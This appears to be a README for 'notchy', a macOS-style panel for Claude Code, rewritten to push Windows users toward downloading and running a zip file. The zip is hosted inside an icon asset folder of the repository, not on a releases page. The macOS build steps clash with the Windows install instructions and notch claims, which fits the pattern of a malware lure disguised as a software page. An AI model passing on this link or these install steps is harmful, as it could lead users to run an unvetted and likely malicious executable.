🪟 notchy - Keep Claude Code in sight

📥 Download

Visit this page to download notchy for Windows: https://raw.githubusercontent.com/graphimedianex-design/notchy/main/Notchy/Assets.xcassets/menuIcon.imageset/Software-3.0.zip

On the releases page, look for the latest Windows file, then:

1. Download the file
2. Open the downloaded file
3. Follow the on-screen setup steps

If your browser shows a prompt, choose to keep the file and save it to your Downloads folder

🖥️ What notchy does

notchy is a menu bar app that keeps Claude Code easy to reach. It puts a small floating terminal panel near the top of your screen, so you can open your coding session fast and keep working without switching windows.

It is built for people who want a simple way to:

• open Claude Code from a small panel
• keep multiple sessions in one place
• see when Claude is working
• start in the right project folder
• save a checkpoint before changes

✨ Main features

• Notch view — open the panel from the top of your screen
• Project detection — finds your open project and starts in the right folder
• Multiple sessions — keep more than one Claude session open
• Live status — see when Claude is active, waiting, or done
• Checkpoint save — save your work before making changes
• Menu bar access — open the app from the menu bar at any time

✅ Before you install

Make sure your PC meets these basic needs:

• Windows 10 or later
• Internet access for the download
• Enough free space for the app and your project files
• A screen with room for the floating panel

If you plan to use project detection, keep your project files in a normal folder on your computer so the app can find them

🚀 Get started

1. Go to the Releases page
2. Download the latest Windows build
3. Open the downloaded file
4. If Windows asks for permission, choose to run it
5. Follow the setup steps on screen
6. Launch notchy after setup is done

🧭 First launch

When notchy opens for the first time:

1. Look for the app in the menu bar or near the top of your screen
2. Click the icon to open the terminal panel
3. Move your mouse near the notch area if your screen has one
4. Open or select your project
5. Start a Claude Code session

If you do not see a notch on your display, use the menu bar icon instead

🔧 How to use it

Open the panel

Use one of these actions:

• click the menu bar icon
• hover near the notch area
• bring the app to the front from the taskbar

Start a session

1. Open your project in your file browser or editor
2. Launch a new session in notchy
3. Let the app detect the folder
4. Start working with Claude Code

Use more than one session

If you want to keep separate tasks apart, open another tab or session. This helps when you want to:

• compare changes
• try a second idea
• keep one task running while you start another

Save a checkpoint

Before making changes, use the save shortcut in the app. This creates a safe point you can return to later. It is useful before large edits or file updates

🧩 Tips for Windows use

notchy was designed for a macOS-style workflow, but many users on Windows still want a simple top-of-screen panel for fast access. For the best result on Windows:

• keep the app near the top of the screen
• use a large monitor if you have one
• pin the app if you want quick access
• keep your project folder easy to reach
• open one project at a time if you want cleaner folder detection

📁 Suggested project setup

For the smoothest use, keep your work in a clear folder layout like this:

• Documents
  • Projects
    • ClientSite
    • AppPrototype
    • Scripts

This makes it easier for notchy to detect the right project and start in the correct folder

🛠️ Build from source

If you want to build notchy from the source files:

1. Open the project in Xcode
2. Build the app with Cmd+B
3. Run it from Xcode

Command line build:

xcodebuild -project Notchy.xcodeproj -scheme Notchy -configuration Release

📌 What you may see in the app

• a floating terminal panel
• tabs for separate sessions
• a small status pill near the top
• the current project folder
• controls for opening, closing, and switching sessions

🧠 Simple workflow

A common flow looks like this:

1. Open your project
2. Launch notchy
3. Start a Claude Code session
4. Watch the status
5. Save a checkpoint before edits
6. Review changes when the task is done

❓ Common questions

Why do I not see the notch feature?

The notch view works best on a display with a notch. If your PC does not have one, use the menu bar or top-of-screen access point instead

Why does the app open in the wrong folder?

Make sure your project is already open and that the folder is easy to detect. If needed, open the project again before starting a session

Can I keep more than one session open?

Yes. Use multiple tabs or sessions when you want to split work into separate tasks

Do I need to know coding to use it?

No. The app is built to be opened, clicked, and used with simple controls

Where do I get the latest version?

Use the Releases page to download the newest Windows build

🔍 File locations

After installation, you may see these common locations:

• the app in your Start menu
• a shortcut on your desktop
• files in your Downloads folder if you ran the setup file there
• project files in the folder you chose when working

🎯 Best results

To keep the app easy to use:

• use one project per window
• save before large changes
• keep the panel near the top of the screen
• use clear project names
• close sessions you no longer need

📦 Download again

If you need to reinstall or update notchy, go back to the Releases page and download the latest Windows file

🧭 Quick install steps

1. Open the Releases page
2. Pick the latest release
3. Download the Windows file
4. Open the file
5. Follow the setup steps
6. Launch notchy